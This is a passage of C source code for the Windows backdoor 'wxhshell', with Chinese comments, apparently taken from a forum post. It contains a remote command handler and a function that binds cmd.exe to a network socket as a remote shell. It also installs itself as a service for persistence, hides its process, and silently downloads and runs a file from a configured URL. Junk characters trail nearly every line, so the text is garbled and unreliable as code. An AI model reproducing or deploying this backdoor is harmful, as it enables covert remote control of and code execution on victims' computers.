    switch(cmd[0]) {  nI[os  
  dSLU>E3g  
  // 帮助 J; S (>c  
  case '?': { C2.HMgL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K> %Tq  
    break; [m- >5H  
  } pLl(iNf]  
  // 安装 "N;`1ce  
  case 'i': { @MoKWfc  
    if(Install()) SbcS]H5Sk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &`h{i K7  
    else !zBhbmlKt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); at@G/?  
    break; )tG\vk=@  
    } sZ'nY o  
  // 卸载 C:GK,?!Jn'  
  case 'r': { 1kz\IQ{  
    if(Uninstall()) )z>|4@,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9/9j+5}+  
    else 3\AU 72-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Nl <p"=  
    break; FOb0uj=(v  
    } |Yx~;q:  
  // 显示 wxhshell 所在路径 L]yS[UN$  
  case 'p': { 4d"r^y'  
    char svExeFile[MAX_PATH]; S2E8G q9  
    strcpy(svExeFile,"\n\r"); 97Lte5c6r  
      strcat(svExeFile,ExeFile); p}&#jE  
        send(wsh,svExeFile,strlen(svExeFile),0); 4"GR] X  
    break; '|ad_M  
    } {vs uPY  
  // 重启 =NpYFKmMhV  
  case 'b': { y+Ra4G#/}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rUTcpGH  
    if(Boot(REBOOT)) vp1941P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @efh{  
    else { oL-]3TY~  
    closesocket(wsh); Cmu@4j&  
    ExitThread(0); `K*Q5n  
    } xg30x C[  
    break; v/@^Q1 G/:  
    } 60P<4  
  // 关机 FSP+?((  
  case 'd': { IO wj>t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hZdoc<  
    if(Boot(SHUTDOWN)) :1^LsLr5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fiv3 {.  
    else { c>,KZ!  
    closesocket(wsh); ,aOl_o -&  
    ExitThread(0); +ndaLhj'  
    } :8I9\eet3  
    break; &\#sI9  
    } !NIhx109q  
  // 获取shell s kv GU(G}  
  case 's': { ks&*O!h  
    CmdShell(wsh); _uWpJhCT  
    closesocket(wsh); ]"r&]qx7  
    ExitThread(0); |rY1US)S  
    break; 7X`l&7IXP  
  } bW$,?8(  
  // 退出 ~Uj=^leYO  
  case 'x': { |<HPn4 ,X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -O1>|y2rU  
    CloseIt(wsh); ,ly\Ka?zO  
    break; .rO]M:UY  
    } H=@}=aPf  
  // 离开 Bz^jw>1b  
  case 'q': { F7 5#*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rr+|Zt Y  
    closesocket(wsh); FFl!\y*0z  
    WSACleanup(); >i_ 2OV  
    exit(1); 4Fa~Aog  
    break; -] L6=  
        } P !AEf#1  
  } !-ok"k0,u  
  } [\'%?BH(^  
B%" d~5Y  
  // 提示信息 "76 ]u)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UGD2  
} cT<1V!L4  
  } 3Ko/{f  
YO#M/%^j  
  return; 56}U8X  
} gGvz(R: y  
|"?M1*g  
// shell模块句柄 l-fi%Z7C  
int CmdShell(SOCKET sock) ccNd'2P  
{ IW>T}@ |  
STARTUPINFO si; M.Y~1c4f  
ZeroMemory(&si,sizeof(si)); VA WF3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 83E7k]7]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ht7l- AK  
PROCESS_INFORMATION ProcessInfo; 46$._h P  
char cmdline[]="cmd"; Diy8gt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .Fs7z7?Y  
  return 0; TBs|r#  
} 6{x(.=  
? Fi=P#  
// 自身启动模式 u_hD}V^x4  
int StartFromService(void) uvMy^_}L  
{ O|\J}rm'  
typedef struct j:<n+:H C  
{ 'GB. UKlR  
  DWORD ExitStatus; E4xj?m^(y=  
  DWORD PebBaseAddress; QXL'^uO  
  DWORD AffinityMask; fo5iJz"Z  
  DWORD BasePriority; =V-A@_^!c  
  ULONG UniqueProcessId; 'r4/e-`pK  
  ULONG InheritedFromUniqueProcessId; 5)FJ:1-  
}   PROCESS_BASIC_INFORMATION; ?<V?wsp  
6tXq:  
PROCNTQSIP NtQueryInformationProcess; \Npxv  
~Am,%"%\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N2B|SO''  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !5.8]v  
R(('/JC  
  HANDLE             hProcess; >go,K{cK6  
  PROCESS_BASIC_INFORMATION pbi; V}bjK8$$  
R?68*} `7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BZ:H`M`n  
  if(NULL == hInst ) return 0; 5Ec6),+&  
?sab*$wG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9zZr^{lUl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U@g4w!$r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z9:-rcr  
M1 :uJkO.  
  if (!NtQueryInformationProcess) return 0; Xp >7iX!:  
? K ;dp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4~y(`\0?4  
  if(!hProcess) return 0; c0PIc^R(@  
yXz*5W_0D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $@"l#vJPfc  
os,* 3WO  
  CloseHandle(hProcess); O?)3VT*  
d^RxQuA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6;u$&&c(  
if(hProcess==NULL) return 0; 4NGA/ G  
L_vISy%\b  
HMODULE hMod; aAJU`=uq  
char procName[255]; J]v%q,"  
unsigned long cbNeeded; O]lSWEe  
8WtsKOno  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &Nj3h(Ll  
]gmexa=(i  
  CloseHandle(hProcess); !6BW@GeF]  
}3o|EXx=  
if(strstr(procName,"services")) return 1; // 以服务启动 _]yn"p  
Px$/ _`H  
  return 0; // 注册表启动 Qc gRAo+u  
} 5Y.vJz  
p!>oo1&  
// 主模块  5V6G=H  
int StartWxhshell(LPSTR lpCmdLine) ,u!*2cWN  
{ }v Z+A  
  SOCKET wsl; 87Oad@FOr  
BOOL val=TRUE; =o Xsb  
  int port=0; G"\`r* O  
  struct sockaddr_in door; .uuO>:  
r YogW!  
  if(wscfg.ws_autoins) Install(); ?!9 )q.bW  
ZYI{i?Te#  
port=atoi(lpCmdLine); e}Cif2#d~  
\Z]UA&v_  
if(port<=0) port=wscfg.ws_port; FuVnk~gq  
N03HQp)g  
  WSADATA data; fF?z|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |K6REkzr  
]DOX?qI i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {. 2k6_1[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |zR8rqBX;  
  door.sin_family = AF_INET; s>0't  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )f}YW/'  
  door.sin_port = htons(port); crqpV F]1]  
fG}tMSI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &=#[(vl  
closesocket(wsl); _z'u pb&  
return 1; z54EG:x.7^  
} Z3{>yYR+  
lp<g \  
  if(listen(wsl,2) == INVALID_SOCKET) { ]vgB4~4#LP  
closesocket(wsl); g6Q!8  
return 1; 4kG,*3 &2  
} }2(,K[?  
  Wxhshell(wsl); 9{-EJ)  
  WSACleanup(); <<(wa j  
IIg^FZ*]_  
return 0; Q7R~{5r>W  
2W/?q!t  
}  TR<<+  
FO!]P   
// 以NT服务方式启动 ux_Mrh'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F">Qpgt  
{ ? i( %  
DWORD   status = 0; ?mWw@6G,  
  DWORD   specificError = 0xfffffff; u:[vaBh91  
> ;L6xt3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0|$v-`P$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; twP,cyR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9:,V5n=  
  serviceStatus.dwWin32ExitCode     = 0; J13>i7]L%  
  serviceStatus.dwServiceSpecificExitCode = 0; ANJ$'3tg  
  serviceStatus.dwCheckPoint       = 0; &$]v h  
  serviceStatus.dwWaitHint       = 0; Rn{iaM2Y<  
u#Z#)3P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I 6<*X  
  if (hServiceStatusHandle==0) return; )^4\,u\@  
>Y #t`6,!  
status = GetLastError(); nx8a$vI-TY  
  if (status!=NO_ERROR) !X"K=zt"  
{ @$LWWTr;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .Jt[(;  
    serviceStatus.dwCheckPoint       = 0; Q.]}]QE   
    serviceStatus.dwWaitHint       = 0; HvM)e.!  
    serviceStatus.dwWin32ExitCode     = status; mMb'@  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5$wpL(:R(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wtc!>  
    return; tcLnN:  
  } 4d8B`Fa9  
KcK>%%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qxFB%KqU  
  serviceStatus.dwCheckPoint       = 0; TQx.KM>y  
  serviceStatus.dwWaitHint       = 0; )=AHf?hn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F'B8v 3  
} EGZb7:Y?  
}RHn)}+  
// 处理NT服务事件,比如:启动、停止 EX?MA6U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j:E<p_T  
{ 9T |IvQK8  
switch(fdwControl) tZ^Ou89:rG  
{ &jsVw)Ue  
case SERVICE_CONTROL_STOP: ^go7_y  
  serviceStatus.dwWin32ExitCode = 0; mf}O-Igte  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CAcS~ "  
  serviceStatus.dwCheckPoint   = 0; O [i#9)  
  serviceStatus.dwWaitHint     = 0; \|E^v6E%0  
  { EmODBTu+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &4b&X0pU  
  } g>dA$h%  
  return; vgUb{D  
case SERVICE_CONTROL_PAUSE: Bx/L<J@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (N&lHLy  
  break; [k6nW:C  
case SERVICE_CONTROL_CONTINUE: xZ4~Oo@@_'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qe!fk?T}  
  break; ]`&Yqg  
case SERVICE_CONTROL_INTERROGATE: hO';{Nl/$  
  break; $OP7l>KZY  
}; w9, iq@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'bo~%WA]n  
} agjv{  
wi4=OU1L)a  
// 标准应用程序主函数 PB#fP_0C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) );Z1a&K5k  
{ tQ H+)*  
Zf'TJ `S  
// 获取操作系统版本 )hk   
OsIsNt=GetOsVer(); G}FIjBE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JaK}|  
;_^fk&+  
  // 从命令行安装 Ti'}MC+0  
  if(strpbrk(lpCmdLine,"iI")) Install(); yQ^($#Yk  
<o+<H  
  // 下载执行文件 /\H>y  
if(wscfg.ws_downexe) { LE*h9((  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wc!onZX5  
  WinExec(wscfg.ws_filenam,SW_HIDE); Db6om7N  
} >2]JXLq  
'A:x/iv}^  
if(!OsIsNt) { #*TEq  
// 如果时win9x,隐藏进程并且设置为注册表启动 mExVYp h  
HideProc(); x-?{E  
StartWxhshell(lpCmdLine); :PtF+{N>  
} #/I[Jqf  
else YhY:~  
  if(StartFromService()) NMww>80  
  // 以服务方式启动 h}]fn A  
  StartServiceCtrlDispatcher(DispatchTable); w^LuIbA  
else t 0-(U\  
  // 普通方式启动 s%2v3eb  
  StartWxhshell(lpCmdLine); CT1ja.\;  
2AtLyN'.  
return 0; LrAT Sq@  
}
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只看该作者 1 发表于: 2006-10-10
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